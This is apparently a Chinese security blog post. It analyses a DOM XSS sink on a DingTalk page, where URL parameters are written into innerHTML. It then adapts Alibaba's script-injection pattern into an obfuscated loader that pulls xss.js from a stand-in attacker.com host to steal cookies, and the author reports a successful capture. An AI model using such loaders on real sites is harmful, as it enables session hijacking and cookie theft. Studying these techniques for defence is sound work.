做完了一個專案,然後沒啥事做,無意看到了一個釘釘的外部連結:
題外話1:
檢視原始碼,複製其中的程式碼:
try {
var search = location.search;
if (search && search.length > 1 && search.charAt(0) === '?') {
search = search.substr(1);
var pairs = search.split('&');
var kv = {};
for (var i in pairs) {
var parts = pairs[i].split('=');
if (parts && parts.length > 1) {
kv[parts[0]] = parts[1];
}
}
}
var errcode = kv['errcode'];
var errmsg = kv['errmsg'];
if (errcode) {
var divCode = document.getElementById('code');
if (divCode) {
divCode.innerHTML += ('errcode: ' + errcode);
}
}
if (errmsg) {
var divMsg = document.getElementById('msg');
if (divMsg) {
divMsg.innerHTML += ('errmsg: ' + errmsg);
}
}
}
catch (e) {console.log(e);}
關鍵部分是:
寫入errcode和errmsg到divCode和divMsg中。
其中errcode和errmsg都是我們可控的。
開啟console簡單測試下:
不懂沒關係直接做:
說明我們外部可控,導致這個原因是因為遍歷的是location.search
本地搓個demo:
只要errcode和errmsg為xss程式碼,即可觸發xss攻擊。很可惜這裡。。最後做了處理。
正題:載入第三方js程式碼:
重新整理釘釘頁面:
發現載入了一些js連結依賴:
檢視原始碼,看看他怎麼呼叫的:
<body><script> with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js") </script> <script> with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js") </script> <script> with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js") </script>
相當有意思,不同於以前的,以前我們xss打cookie/外部載入js都是是這樣的:
<script src="http://attacker.com/xss.js"></script>
通過阿里載入js的方式,我們可以改造我們的載入方式如下:
<script type="text/javascript"> with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js") </script>
我們訪問網頁:
直接載入了,檢視我們是否接收到:
成功接收成功。
這個cookie竊取已經不是啥騷姿勢了,只是這次通過阿里正常載入js地址,學習包裝型的cookie獲取。